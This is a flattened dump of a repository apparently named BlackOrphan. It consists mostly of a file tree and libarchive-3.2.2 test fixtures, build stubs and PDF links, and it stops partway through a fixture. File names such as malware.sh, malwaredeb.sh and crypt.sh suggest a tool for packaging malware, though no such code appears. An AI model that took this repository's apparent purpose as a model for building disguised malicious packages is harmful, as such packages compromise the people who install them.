├── misc ├── malwaredeb.sh ├── shc-3.8.7.tgz ├── todo.txt ├── globals.sh ├── scriptconfig.sh ├── crypt.sh └── malware.sh ├── libarchive-3.2.2 ├── build │ ├── version │ ├── cmake │ │ ├── CheckFuncs_stub.c.in │ │ ├── CheckFileOffsetBits.c │ │ ├── FindLibGCC.cmake │ │ ├── FindNettle.cmake │ │ ├── CheckHeaderDirent.cmake │ │ ├── FindPCREPOSIX.cmake │ │ ├── CheckTypeExists.cmake │ │ ├── CreatePkgConfigFile.cmake │ │ └── FindLZMA.cmake │ ├── pkgconfig │ │ └── libarchive.pc.in │ └── autoconf │ │ ├── la_uid_t.m4 │ │ └── ax_require_defined.m4 ├── contrib │ ├── android │ │ └── include │ │ │ ├── Bcrypt.h │ │ │ ├── Windows.h │ │ │ └── android_lf.h │ └── libarchive.1aix53.spec ├── cat │ ├── test │ │ ├── test_empty.lz4.uu │ │ ├── test_expand.Z.uu │ │ ├── test_empty.gz.uu │ │ ├── test_empty.xz.uu │ │ ├── test_expand.plain.uu │ │ ├── test_expand.gz.uu │ │ ├── test_expand.lz4.uu │ │ ├── test_expand.xz.uu │ │ ├── test_expand.bz2.uu │ │ ├── list.h │ │ ├── test_error.c │ │ ├── test_expand_Z.c │ │ ├── test_expand_plain.c │ │ ├── test_empty_xz.c │ │ ├── test_empty_gz.c │ │ └── test_empty_lz4.c │ └── CMakeLists.txt ├── cpio │ ├── test │ │ ├── test_option_t.stdout.uu │ │ ├── test_extract.cpio.lzma.uu │ │ ├── test_extract.cpio.lz.uu │ │ ├── test_option_tv.stdout.uu │ │ ├── test_extract.cpio.gz.uu │ │ ├── test_extract.cpio.grz.uu │ │ ├── test_extract.cpio.bz2.uu │ │ ├── test_extract.cpio.xz.uu │ │ ├── test_extract.cpio.Z.uu │ │ ├── test_extract.cpio.lz4.uu │ │ ├── test_extract.cpio.lrz.uu │ │ ├── test_extract.cpio.lzo.uu │ │ ├── test_option_passphrase.zip.uu │ │ ├── test_option_f.cpio.uu │ │ ├── test_option_m.cpio.uu │ │ ├── test_option_t.cpio.uu │ │ ├── test_gcpio_compat_ref_nosym.bin.uu │ │ ├── test_gcpio_compat_ref_nosym.crc.uu │ │ ├── test_gcpio_compat_ref.bin.uu │ │ ├── test_gcpio_compat_ref_nosym.newc.uu │ │ ├── test_gcpio_compat_ref.crc.uu │ │ ├── test_gcpio_compat_ref.newc.uu │ │ └── list.h │ └── CMakeLists.txt ├── doc │ ├── pdf │ │ ├── cpio.5.pdf │ │ ├── tar.5.pdf │ │ ├── bsdtar.1.pdf │ │ ├── mtree.5.pdf │ │ ├── bsdcpio.1.pdf │ │ ├── libarchive.3.pdf │ │ ├── .ignore_me │ │ ├── archive_entry.3.pdf │ │ ├── archive_read.3.pdf │ │ ├── archive_util.3.pdf │ │ ├── archive_write.3.pdf │ │ ├── archive_read_new.3.pdf │ │ ├── archive_entry_acl.3.pdf │ │ ├── archive_entry_paths.3.pdf │ │ ├── archive_entry_perms.3.pdf │ │ ├── archive_entry_stat.3.pdf │ │ ├── archive_entry_time.3.pdf │ │ ├── archive_read_data.3.pdf │ │ ├── archive_read_disk.3.pdf │ │ ├── archive_read_filter.3.pdf │ │ ├── archive_read_format.3.pdf │ │ ├── archive_read_free.3.pdf │ │ ├── archive_read_header.3.pdf │ │ ├── archive_read_open.3.pdf │ │ ├── archive_write_data.3.pdf │ │ ├── archive_write_disk.3.pdf │ │ ├── archive_write_free.3.pdf │ │ ├── archive_write_new.3.pdf │ │ ├── archive_write_open.3.pdf │ │ ├── libarchive-formats.5.pdf │ │ ├── libarchive_changes.3.pdf │ │ ├── archive_entry_linkify.3.pdf │ │ ├── archive_read_extract.3.pdf │ │ ├── archive_write_filter.3.pdf │ │ ├── archive_write_format.3.pdf │ │ ├── archive_write_header.3.pdf │ │ ├── libarchive_internals.3.pdf │ │ ├── archive_read_set_options.3.pdf │ │ ├── archive_write_blocksize.3.pdf │ │ ├── archive_write_finish_entry.3.pdf │ │ ├── archive_write_set_options.3.pdf │ │ ├── archive_read_add_passphrase.3.pdf │ │ └── archive_write_set_passphrase.3.pdf │ ├── html │ │ └── .ignore_me │ ├── man │ │ ├── .ignore_me │ │ ├── archive_write_new.3 │ │ ├── archive_read_new.3 │ │ ├── archive_write_data.3 │ │ ├── archive_write_header.3 │ │ ├── archive_write_set_passphrase.3 │ │ ├── archive_read_add_passphrase.3 │ │ └── archive_write_finish_entry.3 │ ├── text │ │ ├── .ignore_me │ │ ├── archive_write_new.3.txt │ │ ├── archive_read_new.3.txt │ │ ├── archive_write_set_passphrase.3.txt │ │ ├── archive_read_add_passphrase.3.txt │ │ ├── archive_write_data.3.txt │ │ ├── archive_write_header.3.txt │ │ ├── archive_write_finish_entry.3.txt │ │ └── archive_read_header.3.txt │ └── wiki │ │ ├── .ignore_me │ │ ├── ManPageArchiveWriteNew3.wiki │ │ ├── ManPageArchiveReadNew3.wiki │ │ ├── ManPageArchiveWriteData3.wiki │ │ ├── ManPageArchiveWriteHeader3.wiki │ │ ├── ManPageArchiveWriteSetPassphrase3.wiki │ │ ├── ManPageArchiveReadAddPassphrase3.wiki │ │ └── ManPageArchiveWriteFinishEntry3.wiki ├── libarchive │ ├── test │ │ ├── test_read_splitted_rar_ad.uu │ │ ├── test_read_format_7zip_empty_archive.7z.uu │ │ ├── test_read_format_7zip_malformed.7z.uu │ │ ├── test_read_format_7zip_malformed2.7z.uu │ │ ├── test_read_format_rar_invalid1.rar.uu │ │ ├── test_read_format_rar_noeof.rar.uu │ │ ├── test_read_format_zip_malformed1.zip.uu │ │ ├── test_read_format_raw.data.uu │ │ ├── test_read_format_raw.data.Z.uu │ │ ├── test_read_splitted_rar_aa.uu │ │ ├── test_read_splitted_rar_ab.uu │ │ ├── test_read_splitted_rar_ac.uu │ │ ├── test_read_format_7zip_empty_file.7z.uu │ │ ├── test_read_format_mtree_crash747.mtree.bz2.uu │ │ ├── test_read_format_zip_zip64b.zip.uu │ │ ├── test_read_format_rar_subblock.rar.uu │ │ ├── test_read_format_7zip_encryption.7z.uu │ │ ├── test_read_format_cab_filename_cp932.cab.uu │ │ ├── test_read_format_zip_zip64a.zip.uu │ │ ├── test_read_format_7zip_copy.7z.uu │ │ ├── test_read_format_cpio_bin_le.cpio.uu │ │ ├── test_read_format_zip_ux.zip.uu │ │ ├── test_read_format_lha_filename_cp932.lzh.uu │ │ ├── test_compat_zip_2.zip.uu │ │ ├── test_read_format_rar_encryption_partially.rar.uu │ │ ├── test_read_filter_grzip.tar.grz.uu │ │ ├── test_read_format_7zip_symbolic_name.7z.uu │ │ ├── test_read_format_rar_encryption_data.rar.uu │ │ ├── test_read_format_zip_length_at_end.zip.uu │ │ ├── test_read_format_zip_nofiletype.zip.uu │ │ ├── test_read_format_7zip_encryption_header.7z.uu │ │ ├── test_read_format_7zip_lzma1_2.7z.uu │ │ ├── test_compat_lzip_2.tlz.uu │ │ ├── test_compat_lzma_2.tlz.uu │ │ ├── test_compat_lzma_3.tlz.uu │ │ ├── test_read_format_ustar_filename_koi8r.tar.Z.uu │ │ ├── test_read_format_cpio_bin_be.cpio.uu │ │ ├── test_read_format_rar_encryption_header.rar.uu │ │ ├── test_read_format_7zip_encryption_partially.7z.uu │ │ ├── test_read_format_ustar_filename_cp866.tar.Z.uu │ │ ├── test_read_format_cab_2.cab.uu │ │ ├── test_read_format_ustar_filename_eucjp.tar.Z.uu │ │ ├── test_compat_lz4_3.tar.lz4.uu │ │ ├── test_read_format_zip_filename_cp932.zip.uu │ │ ├── test_read_format_cab_1.cab.uu │ │ ├── test_compat_lzip_1.tlz.uu │ │ ├── test_compat_lzma_1.tlz.uu │ │ ├── test_read_format_cab_3.cab.uu │ │ ├── test_read_format_mtree_nomagic2.mtree.uu │ │ ├── test_read_format_mtree_nomagic3.mtree.uu │ │ ├── test_read_format_7zip_lzma1_lzma2.7z.uu │ │ ├── test_read_format_gtar_filename_koi8r.tar.Z.uu │ │ ├── test_read_format_gtar_filename_cp866.tar.Z.uu │ │ ├── test_read_format_gtar_filename_eucjp.tar.Z.uu │ │ ├── test_compat_zip_6.zip.uu │ │ ├── test_read_filter_lrzip.tar.lrz.uu │ │ ├── test_read_format_tar_empty_pax.tar.Z.uu │ │ ├── test_read_format_rar.rar.uu │ │ ├── test_read_format_zip_symlink.zip.uu │ │ ├── test_compat_bzip2_2.tbz.uu │ │ ├── test_read_format_zip_filename_cp866.zip.uu │ │ ├── test_read_format_zip_filename_koi8r.zip.uu │ │ ├── test_compat_gzip_2.tgz.uu │ │ ├── test_read_format_7zip_copy_2.7z.uu │ │ ├── test_read_filter_lzop.tar.lzo.uu │ │ ├── test_read_format_mtree_nomagic.mtree.uu │ │ ├── test_read_format_zip_filename_utf8_ru2.zip.uu │ │ ├── test_read_format_lha_header0.lzh.uu │ │ ├── test_read_format_zip_filename_utf8_ru.zip.uu │ │ ├── test_read_format_ar.ar.uu │ │ ├── test_write_disk_appledouble.cpio.gz.uu │ │ ├── test_compat_lz4_1.tar.lz4.uu │ │ ├── test_read_format_zip_comment_stored_1.zip.uu │ │ ├── test_read_too_many_filters.gz.uu │ │ ├── test_read_format_zip_padded1.zip.uu │ │ ├── test_read_format_lha_header1.lzh.uu │ │ ├── test_read_format_lha_header2.lzh.uu │ │ ├── test_read_format_lha_lh6.lzh.uu │ │ ├── test_read_format_lha_lh7.lzh.uu │ │ ├── test_read_format_zip.zip.uu │ │ ├── test_read_format_zip_traditional_encryption_data.zip.uu │ │ ├── test_compat_lz4_2.tar.lz4.uu │ │ ├── test_compat_xz_1.txz.uu │ │ ├── test_read_format_lha_lh0.lzh.uu │ │ ├── test_read_format_lha_withjunk.lzh.uu │ │ ├── test_write_disk_mac_metadata.tar.gz.uu │ │ ├── test_read_format_tar_filename_koi8r.tar.Z.uu │ │ ├── test_read_format_zip_padded2.zip.uu │ │ ├── test_read_format_gtar_sparse_skip_entry.tar.Z.uu │ │ ├── test_read_format_cpio_filename_cp866.cpio.uu │ │ ├── test_read_format_cpio_filename_eucjp.cpio.uu │ │ ├── test_read_format_cpio_filename_koi8r.cpio.uu │ │ ├── test_read_format_cpio_filename_utf8_jp.cpio.uu │ │ ├── test_read_format_cpio_filename_utf8_ru.cpio.uu │ │ ├── test_compat_pax_libarchive_2x.tar.Z.uu │ │ ├── test_read_format_zip_filename_utf8_jp.zip.uu │ │ ├── test_compat_zip_1.zip.uu │ │ ├── test_read_format_lha_header3.lzh.uu │ │ ├── test_read_format_zip_nested.zip.uu │ │ ├── test_read_format_zip_padded3.zip.uu │ │ ├── test_read_format_zip_mac_metadata.zip.uu │ │ ├── test_compat_zip_3.zip.uu │ │ ├── test_read_format_zip_high_compression.zip.uu │ │ ├── test_compat_cpio_1.cpio.uu │ │ ├── test_read_format_rar_unicode.rar.uu │ │ ├── test_read_format_zip_encryption_partially.zip.uu │ │ ├── test_compat_mac-2.tar.Z.uu │ │ ├── test_read_format_lha_bugfix_0.lzh.uu │ │ ├── test_read_format_mtree.mtree.uu │ │ ├── test_read_format_rar_windows.rar.uu │ │ ├── test_read_format_zip_msdos.zip.uu │ │ ├── test_read_format_warc.warc.uu │ │ ├── test_compat_gzip_1.tgz.uu │ │ ├── test_compat_bzip2_1.tbz.uu │ │ ├── test_compat_zip_4.zip.uu │ │ ├── test_read_format_zip_encryption_data.zip.uu │ │ ├── test_read_format_iso.iso.Z.uu │ │ ├── test_compat_lzop_1.tar.lzo.uu │ │ ├── test_read_file_nonexistent.c │ │ ├── test_archive_clear_error.c │ │ └── test_compat_lzop_3.tar.lzo.uu │ ├── archive_getdate.h │ ├── archive_random_private.h │ ├── filter_fork.h │ └── archive_write_add_filter_none.c ├── tar │ ├── test │ │ ├── test_extract.tar.lzma.uu │ │ ├── test_extract.tar.lz.uu │ │ ├── test_extract.tar.grz.uu │ │ ├── test_extract.tar.bz2.uu │ │ ├── test_extract.tar.gz.uu │ │ ├── test_option_keep_newer_files.tar.Z.uu │ │ ├── test_extract.tar.xz.uu │ │ ├── test_extract.tar.lz4.uu │ │ ├── test_extract.tar.Z.uu │ │ ├── test_extract.tar.lrz.uu │ │ ├── test_extract.tar.lzo.uu │ │ ├── test_option_passphrase.zip.uu │ │ ├── test_option_s.tar.Z.uu │ │ └── test_print_longpath.tar.Z.uu │ └── CMakeLists.txt ├── examples │ └── minitar │ │ └── README ├── libarchive_fe │ ├── passphrase.h │ └── line_reader.h ├── INSTALL └── test_utils │ └── test_utils.h ├── .gitignore └── package.json /misc/malwaredeb.sh: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/version: -------------------------------------------------------------------------------- 1 | 3002002 2 | -------------------------------------------------------------------------------- /libarchive-3.2.2/contrib/android/include/Bcrypt.h: -------------------------------------------------------------------------------- 1 | #include 2 | -------------------------------------------------------------------------------- /libarchive-3.2.2/contrib/android/include/Windows.h: -------------------------------------------------------------------------------- 1 | #include 2 | -------------------------------------------------------------------------------- /misc/shc-3.8.7.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/misc/shc-3.8.7.tgz -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_empty.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_empty.lz4 2 | /!")-&&1PN0`````%7."$<4/&A187"@` 3 | end 4 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_option_t.stdout.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD$ 2 | begin 644 test_option_t.stdout 3 | %9FEL90H` 4 | ` 5 | end 6 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/cpio.5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/cpio.5.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/tar.5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/tar.5.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/bsdtar.1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/bsdtar.1.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/mtree.5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/mtree.5.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_empty.gz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_empty.gz 2 | ?'XL(""\MZE,``W1E'!A;F0N<&QA:6XN"@ 3 | end 4 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/bsdcpio.1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/bsdcpio.1.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/libarchive.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/libarchive.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/html/.ignore_me: -------------------------------------------------------------------------------- 1 | *** PLEASE DO NOT DELETE THIS FILE! *** 2 | This file is used to track an otherwise empty directory in git. 3 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/man/.ignore_me: -------------------------------------------------------------------------------- 1 | *** PLEASE DO NOT DELETE THIS FILE! *** 2 | This file is used to track an otherwise empty directory in git. 3 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/.ignore_me: -------------------------------------------------------------------------------- 1 | *** PLEASE DO NOT DELETE THIS FILE! *** 2 | This file is used to track an otherwise empty directory in git. 3 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_entry.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_entry.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_read.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_read.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_util.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_util.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_write.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_write.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/text/.ignore_me: -------------------------------------------------------------------------------- 1 | *** PLEASE DO NOT DELETE THIS FILE! *** 2 | This file is used to track an otherwise empty directory in git. 3 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/wiki/.ignore_me: -------------------------------------------------------------------------------- 1 | *** PLEASE DO NOT DELETE THIS FILE! *** 2 | This file is used to track an otherwise empty directory in git. 3 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_splitted_rar_ad.uu: -------------------------------------------------------------------------------- 1 | begin 644 - 2 | D,`P`[4$``'1E61IC0N"@`````Y 3 | #!E9+ 4 | ` 5 | end 6 | -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_read_set_options.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_read_set_options.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_write_blocksize.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_write_blocksize.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_write_finish_entry.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_write_finish_entry.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_write_set_options.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_write_set_options.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_read_add_passphrase.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_read_add_passphrase.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/doc/pdf/archive_write_set_passphrase.3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zombieleet/BlackOrphan/HEAD/libarchive-3.2.2/doc/pdf/archive_write_set_passphrase.3.pdf -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_7zip_empty_archive.7z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_7zip_empty_archive.7z 2 | @-WJ\KR<<``.-F]4/```````````````````````````` 3 | ` 4 | end 5 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cat/test/test_expand.xz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_expand.xz 2 | M_3=Z6%H 3FUK1& @ A 18 !T+^6C 0 ;8V]N=&5N=',@;V8@=&5S=%]E 3 | G>'!A;F0N>'HN"@!S;^LVAO^3[ !-!R3&JV/'[;S?0$ !%E: 4 | end 5 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_7zip_malformed.7z.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_7zip_malformed.7z 2 | M-WJ\KR<<,#"@P/<&!P````````!(`````````&:^$YB$4= 3 | 2,P0`I($``'1EH :!B:&33(!"X";"%C@I$+32H/(0MXG 4 | J,EA1G51 WG-"6JV7JKA;/&]$X 6MNH 8'N@3[\XCA_%W)%.%"0WO2#ZP 5 | end 6 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.lzma.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.lzma 2 | M70``@`#__________P`8#=\$8#<1R/BL39$D4M>["H7&@4%L/4*_(*VGB*YU 3 | M>?RX.9]HL86'.A)H@Y;Z\^$?M^8_!/-;62G.*7*A&A!_HGF_WF+D[;.+!OW3 4 | :T_2I)V(;K[FNL#'W%T+L;ATS`A*3__[1Z``` 5 | ` 6 | end 7 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.lz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.lz 2 | M3%I)4`$,`!@-WP1@-Q'(^*Q-D212U[L*A<:!06P]0K\@K:>(KG5Y_+@YGVBQ 3 | MA8;_>8N3MLP="$0SJ#QKYB?@8 4 | G]@'$$7\&W^T*+9?6B=?__M$G@$T%>HL``@```````($````````` 5 | ` 6 | end 7 | -------------------------------------------------------------------------------- /misc/todo.txt: -------------------------------------------------------------------------------- 1 | pacman binary archlinux 2 | bsdtar source 3 | rpm error 4 | support for other script 5 | 7z source file 6 | ==> ERROR: Cannot find the pacman binary required for dependency operations. 7 | ==> WARNING: Cannot find the pacman binary needed to check VCS source requirements. 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_option_tv.stdout.uu: -------------------------------------------------------------------------------- 1 | $FreeBSD: src/usr.bin/cpio/test/test_option_tv.stdout.uu,v 1.2 2008/11/29 20:22:02 kientzle Exp $ 2 | begin 644 test_option_tv.stdout 3 | M+7)W+7(M+7(M+2`@(#$@=&EM("`@("`@=&EM("`@("`@("`@("`@(#`@1&5C 4 | /(#,Q("`Q.38Y(&9I;&4* 5 | ` 6 | end 7 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_mtree_crash747.mtree.bz2.uu: -------------------------------------------------------------------------------- 1 | begin 600 test_read_format_mtree_crash747.mtree.bz2 2 | M0EIH.3%!62936:OH@(@``'/[@,`0`@!``'^```)A@9\`$`@@`'4)049!IIH! 3 | MM021-0,F@&@6````9%>$(K!GIC*XFR0`$```J0+:$XP```!D-F)H[#SE9+2' 4 | 4+E"L=ASXUI%R(I"HD'ZA(5?1`Q`` 5 | ` 6 | end 7 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.lzma.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.tar.lzma 2 | M70``@`#__________P`S&DG6N$I>4JC].EO;%_?;E*WZAH294@PH1Y0M$9<" 3 | M[=1FR,$9N=O#&(M,Q24U'H+5Z^7^*J;G!)OU]O'2D;AZ&0^IO?>-YA]$:-X_ 4 | MD^O)YVM(4`^-MT$X`.D(6)*$]3HNB9KJ_H=1$QKYZ:`:,H_L"H[#"?#Z5A<] 5 | %O_OZW=D` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.gz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.gz 2 | M'XL("`5X2FE=2K)"? 4 | MI@`6T>,R0+?$B$A+3$RQ6F*$88D1PA*"P!"[J#$2)R3(T=/'-4A149%AF`,` 5 | (305ZBP`"```` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.grz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_extract.cpio.grz 2 | M1U)::7!)20`"!#HI``(``*P-```&`0``"````&X````B%2.02C`PK`#__..F 3 | MI;8=99?N!6`:IQJ:XU/T"`W`B"?N/D9-0K6VN/D\.2>0,#J&)3G"\^YE?X_' 4 | M_K._F':0[`DL%IQ=<,Z-JH>V$S,?.[`&42C7]J^XQ@9OY!Z$!$^JLQPKZU[: 5 | /!M,+.$MY:Y(HS<<]U`&` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.bz2.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.bz2 2 | M0EIH.3%!629365?=.4@``#G_@G*0(`#@`7^`(B04``LEC```!"``E`E(>I,H 3 | M::'J&@_4C3:@E$AD#0&@&@%"E;V/1!XIP>#C9T[41`4PQ1A`@S*4F&BD@B0T 4 | MBA$$-:\/@BQGNKU1G@%#`G+N0R%$JTHG(XBRB%1$V8F4#F_IWT=S4+ERVL(? 5 | 40V!'@1L4+AO_B[DBG"A(*^ZX))?^8\?E?#> 4 | MOP";"GD#8(9*K;XP318HXZ\?_^SZ 5 | 6K-(!CH7```P```````"=```````````` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.grz.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_extract.tar.grz 2 | M1U)::7!)20`"!#HI``P``*P,``#U````SP```'<````[-=0OM"R^UP#^C?Z< 3 | MFGU0]I:>SW7]H01)1\WY:59("M_=V4[N[R*'`H&:'E=O@5B(?T,0?@)%-:_D 4 | M;EUP)!JVN)@V_:ABYS3+[[6/R(NU,-::]'X&;,]:,HR[*3#R!@:W)IGC`,&G 5 | 8L+IZ7]FP=8U_R?CZ2XPO)"H-ME3@P]$` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/build/cmake/CheckFuncs_stub.c.in: -------------------------------------------------------------------------------- 1 | #ifdef __STDC__ 2 | #include 3 | #else 4 | #include 5 | #endif 6 | 7 | int 8 | main() 9 | { 10 | #if defined ${CHECK_STUB_FUNC_1} || defined ${CHECK_STUB_FUNC_2} 11 | return 0; 12 | #else 13 | this system have stub 14 | return 0; 15 | #endif 16 | } 17 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.xz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.xz 2 | M_3=Z6%H```3FUK1&`@`A`18```!T+^6CX`'_`&%=`!@-WP1@-Q'(^*Q-D212 3 | MU[L*A<:!06P]0K\@K:>(KG5Y_+@YGVBQA8;_>8N3MLXL&_=/3]*DG8ANON:ZP,?<70NQN'3"CP@``````J9FA 5 | =#1$]4L<``7V`!`````?M;4JQQ&?[`@`````$65H` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_zip_zip64b.zip.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_zip_zip64b.zip 2 | M4$L#!"T`"``(`$]Y>$,`````_____P8````!``P`+0$`"````````````$O+ 3 | MS$DUX`(`4$L'"$7&,OL(``````````8`````````4$L!`AX#+0`(``@`3WEX 4 | M0T7&,OL(````!@````$``````````0```+"!`````"U02P4&``````$``0`O 5 | )````2P`````` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.Z.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.cpio.Z 2 | M'YV0,&X$'`B#!@P8,0XJC)$0A@T;!A'>J+%PHL*%%P_&D`%CAHP;!F7,B*C0 3 | M1L:+(LVD85,F!H`Q;]S0*2-S#H@W9D"H9!G#A8*!`@46U)A11L.'$6-8U+CT 4 | M8D.G'#V"A"&#!L6+)D\>3+FRC(R7,6?6O)ESIU>?0`EJ7/'D!4# 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/cpio/test/test_extract.cpio.lz4.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_extract.cpio.lz4 2 | M!")-&&1PN9$````A,#<"`&`P-#`P,3`!`&`Q,3`P-C8/`#0W-3`&```)``$& 3 | M`,$P,3(P,S(W-#`R,S01`!$V!@```@#Q!3(S9FEL93$`8V]N=&5N=',@;V8@ 4 | M$@`A+@IC``AE`!\R90`4$#2#``YE`!TR90`6,F4`#P(`#@+H``P"`"H5JAD)Q_9XLAN3)VO("$ 4 | M4G0@D#(`%````!0````#0J+(OK=VVCX4,`@`I($``'1E?9K=+H02NT0V040P3.SHF:(573*)M5&;!-%6RO=6F5":N"+,"YZ;L 5 | AV+<]%F[GWYCR<%FRKAPR=7VY+'+1)_B[DBG"A(1=ZLT` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/tar/test/test_extract.tar.gz.uu: -------------------------------------------------------------------------------- 1 | begin 664 test_extract.tar.gz 2 | M'XL(""S!:U```W1E26I>27%"OEI"FF@M*#'-=!.&@5T!*`X-Z*Q'23E?Q-3 5 | A//JW`!T````%`H!``"&-JAYL,X! 5 | *%08!`""`M($````` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_cab_filename_cp932.cab.uu: -------------------------------------------------------------------------------- 1 | begin 644 test_read_format_cab_cp932.cab 2 | M35-#1@````"4`````````"P``````````P$!``(````(_@``;@````$``Q(% 3 | M````````````=#ZO5"``E5R"OH+F7(J_CIHN='AT``4````%``````!T/KM4 4 | M(`"57(*^@N9$,`````__________\!`!0`+0$`$``````````````` 3 | M````````2\O,237@`@!02P<(1<8R^P@`````````!@````````!02P$"'@,M 4 | M``@`"`!/>7A#1<8R^P@````&`````0`````````!````L($`````+5!+!08` 5 | 1`````0`!`"\```!3```````` 6 | ` 7 | end 8 | -------------------------------------------------------------------------------- /libarchive-3.2.2/libarchive/test/test_read_format_7zip_copy.7z.uu: -------------------------------------------------------------------------------- 1 | begin 644 